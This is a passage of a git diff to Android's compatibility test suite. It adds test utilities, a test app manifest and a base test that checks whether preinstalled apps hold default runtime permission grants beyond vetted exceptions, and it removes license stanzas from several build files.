+    public void startsWithSuccess_doesStartWithSuccess_returnsTrue() {
+        assertThat(ShellCommandUtils.startsWithSuccess("suCceSs: ...")).isTrue();
+    }
+
+    @Test
+    public void startsWithSuccess_equalsSuccess_returnsTrue() {
+        assertThat(ShellCommandUtils.startsWithSuccess("success")).isTrue();
+    }
+
+    @Test
+    public void startsWithSuccess_doesNotStartWithSuccess_returnsFalse() {
+        assertThat(ShellCommandUtils.startsWithSuccess("not success...")).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/nene/testapps/TestApp1.xml b/common/device-side/bedstead/nene/testapps/TestApp1.xml
new file mode 100644
index 0000000..5772b0d
--- /dev/null
+++ b/common/device-side/bedstead/nene/testapps/TestApp1.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.nene.testapps.TestApp1">
+    <application
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
+    </application>
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+</manifest>
diff --git a/common/device-side/device-info/Android.bp b/common/device-side/device-info/Android.bp
index 881a95a..ad648c1 100644
--- a/common/device-side/device-info/Android.bp
+++ b/common/device-side/device-info/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "compatibility-device-info",
 
diff --git a/common/device-side/device-info/tests/Android.bp b/common/device-side/device-info/tests/Android.bp
index 9dd2ae9..abd0bb0 100644
--- a/common/device-side/device-info/tests/Android.bp
+++ b/common/device-side/device-info/tests/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test {
     name: "compatibility-device-info-tests",
 
diff --git a/common/device-side/nativetesthelper/Android.bp b/common/device-side/nativetesthelper/Android.bp
index 3e77d81..216fb33 100644
--- a/common/device-side/nativetesthelper/Android.bp
+++ b/common/device-side/nativetesthelper/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "nativetesthelper",
 
diff --git a/common/device-side/nativetesthelper/jni/Android.bp b/common/device-side/nativetesthelper/jni/Android.bp
index 6507474..871207e 100644
--- a/common/device-side/nativetesthelper/jni/Android.bp
+++ b/common/device-side/nativetesthelper/jni/Android.bp
@@ -16,10 +16,6 @@
 // This is the shared library included by the JNI test app.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_static {
     name: "libnativetesthelper_jni",
 
diff --git a/common/device-side/preconditions/Android.bp b/common/device-side/preconditions/Android.bp
index cf41834..64f0ab0 100644
--- a/common/device-side/preconditions/Android.bp
+++ b/common/device-side/preconditions/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "compatibility-device-preconditions",
 
diff --git a/common/device-side/test-app/Android.bp b/common/device-side/test-app/Android.bp
index 23bd992..74f549d 100644
--- a/common/device-side/test-app/Android.bp
+++ b/common/device-side/test-app/Android.bp
@@ -15,10 +15,6 @@
 // Build an APK which contains the device-side libraries and their tests,
 // this then gets instrumented in order to test the aforementioned libraries.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CompatibilityTestApp",
 
diff --git a/common/device-side/util-axt/Android.bp b/common/device-side/util-axt/Android.bp
index a9be7f3..44c810b 100644
--- a/common/device-side/util-axt/Android.bp
+++ b/common/device-side/util-axt/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_static {
     name: "compatibility-device-util-axt",
     sdk_version: "test_current",
@@ -29,10 +25,12 @@
     static_libs: [
         "compatibility-common-util-devicesidelib",
         "androidx.test.rules",
+        "androidx.test.ext.junit",
         "ub-uiautomator",
         "mockito-target-minus-junit4",
         "androidx.annotation_annotation",
         "truth-prebuilt",
+        "Harrier"
     ],
 
     libs: [
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AccessibilityNodeInfoUtils.kt b/common/device-side/util-axt/src/com/android/compatibility/common/util/AccessibilityNodeInfoUtils.kt
index 1993e81..82b4190 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/AccessibilityNodeInfoUtils.kt
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AccessibilityNodeInfoUtils.kt
@@ -22,6 +22,9 @@
 import android.view.accessibility.AccessibilityNodeInfo
 import androidx.test.InstrumentationRegistry
 
+val UI_ROOT: AccessibilityNodeInfo get() =
+    InstrumentationRegistry.getInstrumentation().uiAutomation.rootInActiveWindow
+
 val AccessibilityNodeInfo.bounds: Rect get() = Rect().also { getBoundsInScreen(it) }
 
 fun AccessibilityNodeInfo.click() {
@@ -49,13 +52,12 @@
     }
 }
 
-val AccessibilityNodeInfo.children: List<AccessibilityNodeInfo?> get() =
+val AccessibilityNodeInfo.children: List<AccessibilityNodeInfo> get() =
     List(childCount) { i -> getChild(i) }
 
 val AccessibilityNodeInfo.textAsString: String? get() = (text as CharSequence?).toString()
 
 @JvmOverloads
-fun uiDump(
-    ui: AccessibilityNodeInfo? =
-        InstrumentationRegistry.getInstrumentation().uiAutomation.rootInActiveWindow
-) = buildString { UiDumpUtils.dumpNodes(ui, this) }
\ No newline at end of file
+fun uiDump(ui: AccessibilityNodeInfo? = UI_ROOT) = buildString {
+    UiDumpUtils.dumpNodes(ui, this)
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
new file mode 100644
index 0000000..ee33f42
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -0,0 +1,810 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.content.pm.Signature;
+import android.os.Build;
+import android.os.UserHandle;
+import android.permission.PermissionManager;
+import android.util.ArrayMap;
+import android.util.ArraySet;
+import android.util.Log;
+import android.util.SparseArray;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
+
+public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogicTestCase {
+    public static final String LOG_TAG = "DefaultPermissionGrantPolicy";
+    private static final String PLATFORM_PACKAGE_NAME = "android";
+
+    private static final String BRAND_PROPERTY = "ro.product.brand";
+    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+    private Set<DefaultPermissionGrantException> mRemoteExceptions = new HashSet<>();
+
+    /**
+     * Returns whether this build is a CN build.
+     */
+    public abstract boolean isCnBuild();
+
+    /**
+     * Returns whether this build is a CN build with GMS.
+     */
+    public abstract boolean isCnGmsBuild();
+
+    /**
+     * Add default permissions for all applicable apps.
+     */
+    public abstract void addDefaultSystemHandlerPermissions(
+            ArrayMap<String, PackageInfo> packagesToVerify,
+            SparseArray<UidState> pregrantUidStates) throws Exception;
+
+    /**
+     * Return the names of all the runtime permissions to check for violations.
+     */
+    public abstract Set<String> getRuntimePermissionNames(List<PackageInfo> packageInfos);
+
+    /**
+     * Returns whether the permission name, as defined in
+     * {@link PermissionManager.SplitPermissionInfo#getNewPermissions()}
+     * should be considered a violation.
+     */
+    public abstract boolean isSplitPermissionNameViolation(String permissionName);
+
+    public void testDefaultGrantsWithRemoteExceptions(boolean preGrantsOnly) throws Exception {
+        List<PackageInfo> allPackages = getAllPackages();
+        Set<String> runtimePermNames = getRuntimePermissionNames(allPackages);
+        ArrayMap<String, PackageInfo> packagesToVerify =
+                getMsdkTargetingPackagesUsingRuntimePerms(allPackages, runtimePermNames);
+
+        // Ignore CTS infrastructure
+        packagesToVerify.remove("android.tradefed.contentprovider");
+
+        SparseArray<UidState> pregrantUidStates = new SparseArray<>();
+
+        addDefaultSystemHandlerPermissions(packagesToVerify, pregrantUidStates);
+
+        // Add split permissions that were split from non-runtime permissions
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q)) {
+            addSplitFromNonDangerousPermissions(packagesToVerify, pregrantUidStates);
+        }
+
+        // Add exceptions
+        addExceptionsDefaultPermissions(packagesToVerify, runtimePermNames, pregrantUidStates);
+
+        // packageName -> message -> [permission]
+        ArrayMap<String, ArrayMap<String, ArraySet<String>>> violations = new ArrayMap();
+
+        // Enforce default grants in the right state
+        checkDefaultGrantsInCorrectState(packagesToVerify, pregrantUidStates, violations);
+
+        // Nothing else should have default grants
+        checkPackagesForUnexpectedGrants(packagesToVerify, runtimePermNames, violations,
+                preGrantsOnly);
+
+        logPregrantUidStates(pregrantUidStates);
+
+        // Bail if we found any violations
+        if (!violations.isEmpty()) {
+            fail(createViolationsErrorString(violations));
+        }
+    }
+
+
+    /**
+     * Primarily invoked by business logic, set default permission grant exceptions for this
+     * instance of the test class. This is an alternative to downloading the encrypted xml
+     * file, a process which is now deprecated.
+     *
+     * @param pkg         the package name
+     * @param sha256      the sha256 cert digest of the package
+     * @param permissions the set of permissions, formatted "permission_name fixed_boolean"
+     */
+    public void setException(String pkg, String sha256, String... permissions) {
+        HashMap<String, Boolean> permissionsMap = new HashMap<>();
+        for (String permissionString : permissions) {
+            String[] parts = permissionString.trim().split("\\s+");
+            if (parts.length != 2) {
+                Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
+                return;
+            }
+            permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+        }
+        mRemoteExceptions.add(new DefaultPermissionGrantException(pkg, sha256, permissionsMap));
+    }
+
+    /**
+     * Primarily invoked by business logic, set default permission grant exceptions for this
+     * instance of the test class. Also enables the supply of exception metadata.
+     *
+     * @param company     the company name
+     * @param metadata    the exception metadata
+     * @param pkg         the package name
+     * @param sha256      the sha256 cert digest of the package
+     * @param permissions the set of permissions, formatted "permission_name fixed_boolean"
+     */
+    public void setExceptionWithMetadata(String company, String metadata, String pkg,
+            String sha256, String... permissions) {
+        HashMap<String, Boolean> permissionsMap = new HashMap<>();
+        for (String permissionString : permissions) {
+            String[] parts = permissionString.trim().split("\\s+");
+            if (parts.length != 2) {
+                Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
+                return;
+            }
+            permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+        }
+        mRemoteExceptions.add(new DefaultPermissionGrantException(
+                company, metadata, pkg, sha256, permissionsMap));
+    }
+
+    /**
+     * Primarily invoked by business logic, set default permission grant exceptions on CN Gms
+     * for this instance of the test class. This is an alternative to downloading the encrypted
+     * xml file, a process which is now deprecated.
+     *
+     * @param pkg         the package name
+     * @param sha256      the sha256 cert digest of the package
+     * @param permissions the set of permissions, formatted "permission_name fixed_boolean"
+     */
+    public void setCNGmsException(String pkg, String sha256, String... permissions) {
+        if (!isCnGmsBuild()) {
+            Log.e(LOG_TAG, "Regular GMS build, skip allowlisting: " + pkg);
+            return;
+        }
+        setException(pkg, sha256, permissions);
+    }
+
+    /**
+     * Primarily invoked by business logic, set default permission grant exceptions on CN Gms
+     * for this instance of the test class. This is an alternative to downloading the encrypted
+     * xml file, a process which is now deprecated.
+     *
+     * @param company     the company name
+     * @param metadata    the exception metadata
+     * @param pkg         the package name
+     * @param sha256      the sha256 cert digest of the package
+     * @param permissions the set of permissions, formatted "permission_name fixed_boolean"
+     */
+    public void setCNGmsExceptionWithMetadata(String company, String metadata, String pkg,
+            String sha256, String... permissions) {
+        if (!isCnGmsBuild()) {
+            Log.e(LOG_TAG, "Regular GMS build, skip allowlisting: " + pkg);
+            return;
+        }
+        setExceptionWithMetadata(company, metadata, pkg, sha256, permissions);
+    }
+
+
+    public List<PackageInfo> getAllPackages() {
+        return getInstrumentation().getContext().getPackageManager()
+                .getInstalledPackages(PackageManager.GET_UNINSTALLED_PACKAGES
+                        | PackageManager.GET_PERMISSIONS | PackageManager.GET_SIGNATURES);
+    }
+
+    public static ArrayMap<String, PackageInfo> getMsdkTargetingPackagesUsingRuntimePerms(
+            List<PackageInfo> packageInfos, Set<String> runtimePermNames) {
+        ArrayMap<String, PackageInfo> packageInfoMap = new ArrayMap<>();
+
+        final int packageInfoCount = packageInfos.size();
+        for (int i = 0; i < packageInfoCount; i++) {
+            PackageInfo packageInfo = packageInfos.get(i);
+            if (packageInfo.requestedPermissions == null) {
+                continue;
+            }
+            if (packageInfo.applicationInfo.targetSdkVersion < Build.VERSION_CODES.M) {
+                continue;
+            }
+            for (String requestedPermission : packageInfo.requestedPermissions) {
+                if (runtimePermNames.contains(requestedPermission)) {
+                    packageInfoMap.put(packageInfo.packageName, packageInfo);
+                    break;
+                }
+            }
+        }
+
+        return packageInfoMap;
+    }
+
+    public static void addViolation(
+            Map<String, ArrayMap<String, ArraySet<String>>> violations, String packageName,
+            String permission, String message) {
+        if (!violations.containsKey(packageName)) {
+            violations.put(packageName, new ArrayMap<>());
+        }
+
+        if (!violations.get(packageName).containsKey(message)) {
+            violations.get(packageName).put(message, new ArraySet<>());
+        }
+
+        violations.get(packageName).get(message).add(permission);
+    }
+
+    public static boolean isPackageOnSystemImage(PackageInfo packageInfo) {
+        return (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+    }
+
+
+    public static String computePackageCertDigest(Signature signature) {
+        MessageDigest messageDigest;
+        try {
+            messageDigest = MessageDigest.getInstance("SHA256");
+        } catch (NoSuchAlgorithmException e) {
+            /* can't happen */
+            return null;
+        }
+
+        messageDigest.update(signature.toByteArray());
+
+        final byte[] digest = messageDigest.digest();
+        final int digestLength = digest.length;
+        final int charCount = 2 * digestLength;
+
+        final char[] chars = new char[charCount];
+        for (int i = 0; i < digestLength; i++) {
+            final int byteHex = digest[i] & 0xFF;
+            chars[i * 2] = HEX_ARRAY[byteHex >>> 4];
+            chars[i * 2 + 1] = HEX_ARRAY[byteHex & 0x0F];
+        }
+        return new String(chars);
+    }
+
+    public static ArrayMap<String, Object> getPackageProperties(String packageName) {
+        ArrayMap<String, Object> properties = new ArrayMap();
+
+        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        PackageInfo info = null;
+        try {
+            info = pm.getPackageInfo(packageName,
+                    PackageManager.GET_UNINSTALLED_PACKAGES | PackageManager.GET_SIGNATURES);
+        } catch (PackageManager.NameNotFoundException ignored) {
+        }
+
+        properties.put("targetSDK", info.applicationInfo.targetSdkVersion);
+        properties.put("signature", computePackageCertDigest(info.signatures[0]).toUpperCase());
+        properties.put("uid", UserHandle.getAppId(info.applicationInfo.uid));
+        properties.put("priv app", info.applicationInfo.isPrivilegedApp());
+        properties.put("persistent", ((info.applicationInfo.flags
+                & ApplicationInfo.FLAG_PERSISTENT) != 0) + "\n");
+        properties.put("has platform signature", (pm.checkSignatures(info.packageName,
+                PLATFORM_PACKAGE_NAME) == PackageManager.SIGNATURE_MATCH));
+        properties.put("on system image", isPackageOnSystemImage(info));
+
+        return properties;
+    }
+
+
+    public void addException(DefaultPermissionGrantException exception,
+            Set<String> runtimePermNames, Map<String, PackageInfo> packageInfos,
+            SparseArray<UidState> outUidStates) {
+        Log.v(LOG_TAG, "Adding exception for company " + exception.company
+                + ". Metadata: " + exception.metadata);
+        String packageName = exception.pkg;
+        PackageInfo packageInfo = packageInfos.get(packageName);
+        if (packageInfo == null) {
+            Log.v(LOG_TAG, "Trying to add exception to missing package:" + packageName);
+
+            try {
+                // Do not overwhelm logging
+                Thread.sleep(10);
+            } catch (InterruptedException ignored) {
+            }
+            return;
+        }
+        if (!packageInfo.applicationInfo.isSystemApp()) {
+            if (isCnBuild() && exception.hasNonBrandSha256()) {
+                // Due to CN app removability requirement, allow non-system app pregrant exceptions,
+                // as long as they specify a hash (b/121209050)
+            } else {
+                Log.w(LOG_TAG, "Cannot pregrant permissions to non-system package:" + packageName);
+                return;
+            }
+        }
+        // If cert SHA-256 digest is specified it is used for verification, for user builds only
+        if (exception.hasNonBrandSha256()) {
+            String expectedDigest = exception.sha256.replace(":", "").toLowerCase();
+            String packageDigest = computePackageCertDigest(packageInfo.signatures[0]);
+            if (PropertyUtil.isUserBuild() && !expectedDigest.equalsIgnoreCase(packageDigest)) {
+                Log.w(LOG_TAG, "SHA256 cert digest does not match for package: " + packageName
+                        + ". Expected: " + expectedDigest.toUpperCase() + ", observed: "
+                        + packageDigest.toUpperCase());
+                return;
+            }
+        } else if (exception.hasBrand) {
+            // Rare case -- exception.sha256 is actually brand name, verify brand instead
+            String expectedBrand = exception.sha256;
+            String actualBrand = PropertyUtil.getProperty(BRAND_PROPERTY);
+            if (!expectedBrand.equalsIgnoreCase(actualBrand)) {
+                Log.w(LOG_TAG, String.format("Brand %s does not match for package: %s",
+                        expectedBrand, packageName));
+                return;
+            }
+        } else {
+            Log.w(LOG_TAG, "Attribute sha256-cert-digest or brand must be provided for package: "
+                    + packageName);
+            return;
+        }
+
+        List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions);
+        for (Map.Entry<String, Boolean> entry : exception.permissions.entrySet()) {
+            String permission = entry.getKey();
+            Boolean fixed = entry.getValue();
+            if (!requestedPermissions.contains(permission)) {
+                Log.w(LOG_TAG, "Permission " + permission + " not requested by: " + packageName);
+                continue;
+            }
+            if (!runtimePermNames.contains(permission)) {
+                Log.w(LOG_TAG, "Permission:" + permission + " in not runtime");
+                continue;
+            }
+            final int uid = packageInfo.applicationInfo.uid;
+            UidState uidState = outUidStates.get(uid);
+            if (uidState == null) {
+                uidState = new UidState();
+                outUidStates.put(uid, uidState);
+            }
+
+            for (String extendedPerm : extendBySplitPermissions(permission,
+                    packageInfo.applicationInfo.targetSdkVersion)) {
+                uidState.overrideGrantedPermission(packageInfo.packageName,
+                        permission.equals(extendedPerm) ? "exception"
+                                : "exception (split from " + permission + ")", extendedPerm, fixed);
+            }
+        }
+    }
+
+
+    public static ArrayList<String> extendBySplitPermissions(String permission, int appTargetSdk) {
+        ArrayList<String> extendedPermissions = new ArrayList<>();
+        extendedPermissions.add(permission);
+
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q)) {
+            Context context = getInstrumentation().getTargetContext();
+            PermissionManager permissionManager = context.getSystemService(PermissionManager.class);
+
+            for (PermissionManager.SplitPermissionInfo splitPerm :
+                    permissionManager.getSplitPermissions()) {
+                if (splitPerm.getSplitPermission().equals(permission)
+                        && splitPerm.getTargetSdk() > appTargetSdk) {
+                    extendedPermissions.addAll(splitPerm.getNewPermissions());
+                }
+            }
+        }
+
+        return extendedPermissions;
+    }
+
+
+    public void setPermissionGrantState(String packageName, String permission,
+            boolean granted) {
+        try {
+            if (granted) {
+                getInstrumentation().getUiAutomation().grantRuntimePermission(packageName,
+                        permission, android.os.Process.myUserHandle());
+            } else {
+                getInstrumentation().getUiAutomation().revokeRuntimePermission(packageName,
+                        permission, android.os.Process.myUserHandle());
+            }
+        } catch (Exception e) {
+            /* do nothing - best effort */
+        }
+    }
+
+    public void addExceptionsDefaultPermissions(Map<String, PackageInfo> packageInfos,
+            Set<String> runtimePermNames,
+            SparseArray<UidState> outUidStates) throws Exception {
+        // Only use exceptions from business logic if they've been added
+        if (!mRemoteExceptions.isEmpty()) {
+            Log.d(LOG_TAG, String.format("Found %d remote exceptions", mRemoteExceptions.size()));
+            for (DefaultPermissionGrantException dpge : mRemoteExceptions) {
+                addException(dpge, runtimePermNames, packageInfos, outUidStates);
+            }
+        } else {
+            Log.w(LOG_TAG, "Failed to retrieve remote default permission grant exceptions.");
+        }
+    }
+
+
+    // Permissions split from non dangerous permissions
+    private void addSplitFromNonDangerousPermissions(Map<String, PackageInfo> packageInfos,
+            SparseArray<UidState> outUidStates) {
+        Context context = getInstrumentation().getTargetContext();
+
+        for (PackageInfo pkg : packageInfos.values()) {
+            int targetSdk = pkg.applicationInfo.targetSandboxVersion;
+            int uid = pkg.applicationInfo.uid;
+
+            for (String permission : pkg.requestedPermissions) {
+                PermissionInfo permInfo;
+                try {
+                    permInfo = context.getPackageManager().getPermissionInfo(permission, 0);
+                } catch (PackageManager.NameNotFoundException ignored) {
+                    // ignore permissions that are requested but not defined
+                    continue;
+                }
+
+
+                // Permissions split from dangerous permission are granted when the original
+                // permission permission is granted;
+                if ((permInfo.getProtection() & PROTECTION_DANGEROUS) != 0) {
+                    continue;
+                }
+
+                for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
+                    if (!isSplitPermissionNameViolation(extendedPerm)) {
+                        continue;
+                    }
+
+                    if (!extendedPerm.equals(permission)) {
+                        UidState uidState = outUidStates.get(uid);
+
+                        if (uidState != null
+                                && uidState.grantedPermissions.containsKey(extendedPerm)) {
+                            // permission is already granted. Don't override the grant-state.
+                            continue;
+                        }
+
+                        appendPackagePregrantedPerms(pkg, "split from non-dangerous permission "
+                                        + permission, false, Collections.singleton(extendedPerm),
+                                outUidStates);
+                    }
+                }
+            }
+        }
+    }
+
+    public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
+            boolean fixed, Set<String> pregrantedPerms, SparseArray<UidState> outUidStates) {
+        final int uid = packageInfo.applicationInfo.uid;
+        UidState uidState = outUidStates.get(uid);
+        if (uidState == null) {
+            uidState = new UidState();
+            outUidStates.put(uid, uidState);
+        }
+        for (String requestedPermission : packageInfo.requestedPermissions) {
+            if (pregrantedPerms.contains(requestedPermission)) {
+                uidState.addGrantedPermission(packageInfo.packageName, reason, requestedPermission,
+                        fixed);
+            }
+        }
+    }
+
+    public void logPregrantUidStates(SparseArray<UidState> pregrantUidStates) {
+        Log.i(LOG_TAG, "PREGRANT UID STATES");
+        for (int i = 0; i < pregrantUidStates.size(); i++) {
+            Log.i(LOG_TAG, "uid: " + pregrantUidStates.keyAt(i) + " {");
+            pregrantUidStates.valueAt(i).log();
+            Log.i(LOG_TAG, "}");
+        }
+    }
+
+    public void checkDefaultGrantsInCorrectState(Map<String, PackageInfo> packagesToVerify,
+            SparseArray<UidState> pregrantUidStates,
+            Map<String, ArrayMap<String, ArraySet<String>>> violations) {
+        PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
+        for (PackageInfo packageInfo : packagesToVerify.values()) {
+            final int uid = packageInfo.applicationInfo.uid;
+            UidState uidState = pregrantUidStates.get(uid);
+            if (uidState == null) {
+                continue;
+            }
+
+            final int grantCount = uidState.grantedPermissions.size();
+            // make a modifiable list
+            List<String> requestedPermissions = new ArrayList<>(
+                    Arrays.asList(packageInfo.requestedPermissions));
+            for (int i = 0; i < grantCount; i++) {
+                String permission = uidState.grantedPermissions.keyAt(i);
+
+                // If the package did not request this permissions, skip as
+                // it is requested by another package in the same UID.
+                if (!requestedPermissions.contains(permission)) {
+                    continue;
+                }
+
+                // Not granting the permission is OK, as we want to catch excessive grants
+                if (packageManager.checkPermission(permission, packageInfo.packageName)
+                        != PackageManager.PERMISSION_GRANTED) {
+                    continue;
+                }
+
+                boolean grantBackFineLocation = false;
+
+                // Special case: fine location implies coarse location, so we revoke
+                // fine location when verifying coarse to avoid interference.
+                if (permission.equals(Manifest.permission.ACCESS_COARSE_LOCATION)
+                        && packageManager.checkPermission(Manifest.permission.ACCESS_FINE_LOCATION,
+                        packageInfo.packageName) == PackageManager.PERMISSION_GRANTED) {
+                    setPermissionGrantState(packageInfo.packageName,
+                            Manifest.permission.ACCESS_FINE_LOCATION, false);
+                    grantBackFineLocation = true;
+                }
+
+                setPermissionGrantState(packageInfo.packageName, permission, false);
+
+                Boolean fixed = uidState.grantedPermissions.valueAt(i);
+
+                // Weaker grant is fine, e.g. not-fixed instead of fixed.
+                if (!fixed && packageManager.checkPermission(permission, packageInfo.packageName)
+                        == PackageManager.PERMISSION_GRANTED) {
+                    addViolation(violations, packageInfo.packageName, permission,
+                            "granted by default should be revocable");
+                }
+
+                setPermissionGrantState(packageInfo.packageName, permission, true);
+
+                if (grantBackFineLocation) {
+                    setPermissionGrantState(packageInfo.packageName,
+                            Manifest.permission.ACCESS_FINE_LOCATION, true);
+                }
+
+                // Now a small trick - pretend the package does not request this permission
+                // as we will later treat each granted runtime permissions as a violation.
+                requestedPermissions.remove(permission);
+                packageInfo.requestedPermissions = requestedPermissions.toArray(
+                        new String[requestedPermissions.size()]);
+            }
+        }
+    }
+
+    public void checkPackagesForUnexpectedGrants(Map<String, PackageInfo> packagesToVerify,
+            Set<String> runtimePermNames,
+            Map<String, ArrayMap<String, ArraySet<String>>> violations,
+            boolean preGrantsOnly) throws Exception {
+        PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
+        for (PackageInfo packageInfo : packagesToVerify.values()) {
+            for (String requestedPermission : packageInfo.requestedPermissions) {
+                // If another package in the UID can get the permission
+                // then it is fine for this package to have it - skip.
+                if (runtimePermNames.contains(requestedPermission)
+                        && packageManager.checkPermission(requestedPermission,
+                        packageInfo.packageName) == PackageManager.PERMISSION_GRANTED
+                        && (!preGrantsOnly || (callWithShellPermissionIdentity(() ->
+                        packageManager.getPermissionFlags(
+                                requestedPermission,
+                                packageInfo.packageName,
+                                getInstrumentation().getTargetContext().getUser())
+                                & PackageManager.FLAG_PERMISSION_GRANTED_BY_DEFAULT)
+                        != 0))) {
+                    addViolation(violations,
+                            packageInfo.packageName, requestedPermission,
+                            "cannot be granted by default to package");
+                }
+            }
+        }
+    }
+
+    public String createViolationsErrorString(
+            ArrayMap<String, ArrayMap<String, ArraySet<String>>> violations) {
+        StringBuilder sb = new StringBuilder();
+
+        for (String packageName : violations.keySet()) {
+            sb.append("packageName: " + packageName + " {\n");
+            for (Map.Entry<String, Object> property
+                    : getPackageProperties(packageName).entrySet()) {
+                sb.append("  " + property.getKey() + ": "
+                        + property.getValue().toString().trim() + "\n");
+            }
+            for (String message : violations.get(packageName).keySet()) {
+                sb.append("  message: " + message + " {\n");
+                for (String permission : violations.get(packageName).get(message)) {
+                    sb.append("    permission: " + permission + "\n");
+                }
+                sb.append("  }\n");
+            }
+            sb.append("}\n");
+        }
+
+        return sb.toString();
+    }
+
+    public static class UidState {
+        public class GrantReason {
+            public final String reason;
+            public final boolean override;
+            public final Boolean fixed;
+
+            GrantReason(String reason, boolean override, Boolean fixed) {
+                this.reason = reason;
+                this.override = override;
+                this.fixed = fixed;
+            }
+
+            @Override
+            public boolean equals(Object o) {
+                if (this == o) return true;
+                if (o == null || getClass() != o.getClass()) return false;
+                GrantReason that = (GrantReason) o;
+                return override == that.override
+                        && Objects.equals(reason, that.reason)
+                        && Objects.equals(fixed, that.fixed);
+            }
+
+            @Override
+            public int hashCode() {
+                return Objects.hash(reason, override, fixed);
+            }
+        }
+
+        // packageName -> permission -> [reason]
+        public ArrayMap<String, ArrayMap<String, ArraySet<GrantReason>>> mGrantReasons =
+                new ArrayMap<>();
+        public ArrayMap<String, Boolean> grantedPermissions = new ArrayMap<>();
+
+        public void log() {
+            for (String packageName : mGrantReasons.keySet()) {
+                Log.i(LOG_TAG, "  packageName: " + packageName + " {");
+
+                for (Map.Entry<String, Object> property :
+                        getPackageProperties(packageName).entrySet()) {
+                    Log.i(LOG_TAG, "    " + property.getKey() + ": " + property.getValue());
+                }
+
+                // Resort permission -> reason into reason -> permission
+                ArrayMap<String, ArraySet<GrantReason>> permissionsToReasons =
+                        mGrantReasons.get(packageName);
+                ArrayMap<GrantReason, List<String>> reasonsToPermissions = new ArrayMap<>();
+                for (String permission : permissionsToReasons.keySet()) {
+                    for (GrantReason reason : permissionsToReasons.get(permission)) {
+                        if (!reasonsToPermissions.containsKey(reason)) {
+                            reasonsToPermissions.put(reason, new ArrayList<>());
+                        }
+
+                        reasonsToPermissions.get(reason).add(permission);
+                    }
+                }
+
+                for (Map.Entry<GrantReason, List<String>> reasonEntry
+                        : reasonsToPermissions.entrySet()) {
+                    GrantReason reason = reasonEntry.getKey();
